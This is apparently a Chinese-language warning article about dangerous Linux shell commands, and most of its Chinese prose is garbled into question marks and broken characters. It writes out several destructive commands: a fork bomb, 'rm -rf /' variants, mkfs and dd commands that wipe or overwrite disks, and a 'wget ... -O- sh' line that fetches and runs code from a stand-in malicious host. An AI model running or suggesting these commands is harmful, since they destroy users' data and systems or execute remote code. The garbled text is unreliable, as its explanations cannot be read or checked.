????Linux shell/terminal ?????????????????????????????????С????????·??????е???????
???????Щ????￡?Linux ????????????????????????????????????????????
???????????? Web ??????μ? Linux ????????Щ????????????????Щд????????????????????????????д?????????Ц???
????????????????Щ??????Σ???? Linux ??????????????????????????Щ??????Σ??????????????????????????Σ?????
?????????Щ???????????Щ??????? Ubuntu ???? sudo ???????Σ????????????а汾?? Linux????????????????????????Σ????
????1. Linux Fork Bomb Command
????:(){ :: & };: ?? Fork Bomb ?????????????????????? Linux ????:(){ :: & };: ????? bash ????????????У???????????????????????
?????????????????????????????????? Linux ??????????????????????
????2. Mv Folder/Dev/Null Command
????mv folder/dev/null ??????Σ??????Dev/null ???? null device ????????????д??????豸???????????豸???????????ò?????????д???????г???????????????? bit bucked ???? black hole??
????3. Rm -Rf Command
????rm -rf?????? Linux ???п?????????????м???????????????????????????????????п????
????????m-rf ???????????????
????rm command ????? Linux ???????
????rm -f command??????????????????е???????
????rm -r command ??????????е?????
????rm -d command ?????????????????????????иò???
????rm -rf/ command?????????????е????????????????У?????д????????????
????rm -rf* command ??????????????е??????????????????????????????
????rm -rf. command??????????????????/?????е????????? ??? rm -r.[^.]*
????The rm -r.[^.]* command ??????????????У???????????
????4. Mkfs Command
?????????? mkfs ??????????????????Σ???????mkfs ???д???κ???????????????? linux ?????????????????
?????????о???????????????????????????
????mkfs
????mkfs.ext3
????mkfs.bfs
????mkfs.ext2
????mkfs.minix
????mkfs.msdos mkfs.reiserfs
????mkfs.vfat
????mkfs.cramfs ????????????????????????飬??????????????????
????5. Tar Bomb
????tar ????????????????? .tar ??????????????У??浵???????Tape Archive (Tar) bomb ??????????????
???????????????????浵?????????????????????????????????????ж???????????
????????? tar ????????????????μ??????????????????????? tar ????????????У??????????? tar bomb ????????
????6. Dd Command
????Dd???????????&????????????????????????????????Σ???
?????????о? dd ????
????dd if=/dev/hda of=/dev/hdb
????dd if=/dev/hda of=/dev/sdb
????dd if=something of=/dev/hda
????dd if=something of=/dev/sda
?????????????????????????????dd if=/dev/zero of=/dev/had
????7. Shell Script Code
?????????????????????????? shell ??????????????????????????y???????????Щ??????Σ??????????????????????????wget http://some_malicious_source -O- sh?? wget ?????? sh ????????????????
????8. Malicious Source Code
?????????????????????????????????????????????????????????Щ???????α????????????У?????????????????????????α?????????????????????????????
????9. Decompression Bomb
??????????????????????????????????????????С???????????С?? KB??????????С?????????????????????????
????????????????? GB ??????????????????????????????????崻??????????????α?????????????????????????????????????????????????????